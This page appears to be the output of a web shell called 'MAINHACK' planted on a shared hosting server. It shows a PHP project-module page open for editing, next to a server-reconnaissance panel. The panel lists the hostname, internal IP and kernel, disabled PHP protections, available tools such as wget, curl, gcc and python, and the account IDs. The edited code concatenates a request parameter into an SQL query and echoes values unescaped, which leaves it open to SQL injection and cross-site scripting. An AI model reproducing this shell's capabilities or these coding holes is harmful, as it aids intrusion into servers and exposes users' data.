[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: show_module.php
<?php include 'header.php';?> <style> .col-md-3,.col-md-2,.col-md-6{ display:inline-block !important; } </style> <script> $(document).ready(function(){ // Add more $('#type').change(function(){ var type = $('#type').val(); // alert(type); if(type=='Direct'){ $('#direct').show(); $('#agent').hide(); }else{ $('#direct').hide(); $('#agent').show(); } }); }); </script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <a href="create_module.php?pid=<?=$_REQUEST['pid']?>" class="btn btn-md btn-success">Add Module</a> <div class="row"> <div class="col-md-12"> <?php $count=1; $sr='project'; $stmt =$show->readwithdata($sr,'project_id',$_REQUEST['pid']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="form-group form-show-validation row"> <div class="col-lg-3 col-md-12 col-sm-12" id="direct" style="display:"> <label>Project Type</label> <input type="text" value="<?=$row['project_type']?>" class="form-control" placeholder="Project Name" readonly> </div> <div class="col-lg-6 col-md-12 col-sm-12" id="agent" style=""> <label>Project Title </label> <input type="text" value="<?=$row['title']?>" class="form-control" placeholder="Project Name" readonly> </div> </div> <div class="form-group form-show-validation row"> <div class="col-lg-3 col-md-12 col-sm-12" id="direct" style="display:"> <label>Customer Details</label> <input type="text" value="<?=$row['customer_name']?> | <?=$row['customer_phone']?>" class="form-control" placeholder="Project Name" readonly> </div> <div class="col-lg-6 col-md-12 col-sm-12" id="agent" style=""> <label>Project Cost </label> <input type="text" value="<?=$row['final_cost']?>" class="form-control" placeholder="Project Name" readonly> </div> </div> <?php } }?> <hr> <hr> </div> <?php $count=1; $sr='project'; //$stmt =$show->readwithdata($sr,'status','Project Confirmed'); $s1="select * from project left join module on project.project_id=module.mproject_id where module.mproject_id='".$_REQUEST['pid']."'";//echo $s1; $stmt=$con->prepare($s1); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="col-sm-4 col-md-4"> <div class="card card-stats card-default card-round"> <div class="card-body"> <div class="row"> <div class="col-5"> <div class="icon-big text-center"> <i class="flaticon-interface-6"></i> </div> </div> <div class="col-7 col-stats"> <div class="numbers"> <a href="all_product.php"><p class="card-category">Module <?=$count?></p></a> <!--<h4 class="card-title">0</h4>---> <h5><?=$row['mtitle']?></h5> <p><?=htmlspecialchars_decode($row['mdescription'])?></p> <p>Start Date : <?=date('d-m-Y',strtotime($row['mstart_date']))?></p> <p>End Date : <?=date('d-m-Y',strtotime($row['mend_date']))?></p> <p>Status: <?=$row['mstatus']?></p> <p><a href="edit_module.php?pid=<?=$row['id']?>" class="btn btn-xs btn-info">Edit</a></p> </div> </div> </div> </div> </div> </div> <?php ++$count;} }?> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619